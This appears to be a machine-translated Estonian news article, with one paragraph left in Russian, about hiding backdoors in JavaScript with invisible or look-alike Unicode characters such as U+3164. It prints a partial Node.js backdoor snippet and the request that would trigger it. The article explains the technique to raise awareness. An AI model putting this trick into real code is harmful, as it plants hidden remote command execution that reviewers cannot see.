Nähtamatute unicode-märkide kasutamine tegevuste peitmiseks JavaScripti koodis

Trojan Source'i rünnakumeetodi, mis kasutab Unicode märke, et muuta kahe suuna tekstide kuvamisjärjestust, kõrval on avaldatud veel üks tehnika, mis võimaldab peidetud tegevusi integreerida JavaScripti koodis. Uus meetod põhineb unicode-märgil „ㅤ” (kood 0x3164, „HANGUL FILLER”), mis kuulub tähemärkide kategooriasse, kuid ei oma nähtavat sisu. Selle märgi unicode-kategooria on alates ECMAScript 2015 spetsifikatsioonist lubatud kasutada JavaScripti muutujate nimetustes, võimaldades luua nähtamatuid muutujaid või uusi muutujaid, mis ei erine teistest muutujatest populaarsetes koodiredaktorites, nagu Notepad++ ja VS Code.

Näitena tuuakse Node.js platvormi kood, kus ühekohaline muutuja „ㅤ” varjab tagaukse, mis võimaldab käivitada ründaja määratud koodi: app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // tegelikult on siin märgitud „const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // pärast koma järgneb märk \u3164 ];

На первый взгляд через внешний параметр передаётся только значение timeout, а массив с выполняемыми командами содержит безобидный фиксированный список. Но на деле после переменной timeout присваивается значение ещё одной невидимой переменной с кодом символа \u3164, которая также подставлена в массив исполняемых команд. Таким образом, при наличии подобной конструкции для активации бэкдора и выполнения своего кода атакующий может отправить запрос вида «https://host:8080/network_health?%E3%85%A4=команда».

Kuna veel ühe näiteks tuuakse sümbol «ǃ» (ALVEOLAR CLICK), mida võib kasutada hüüumärgi näiliseks näitamiseks. Näiteks avalduses «if(environmentǃ=ENV_PROD){» Node.js 14 puhul on see alati tõene, kuna see ei kontrolli erinevust, vaid omistab muutuja «environmentǃ» väärtuseks ENV_PROD. Segadust tekitavate unicode-sümbolite seas märgitakse ka «/», «−», «+», «⩵», «❨», «⫽», «꓿» ja «∗».

Allikas: opennet.ru

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster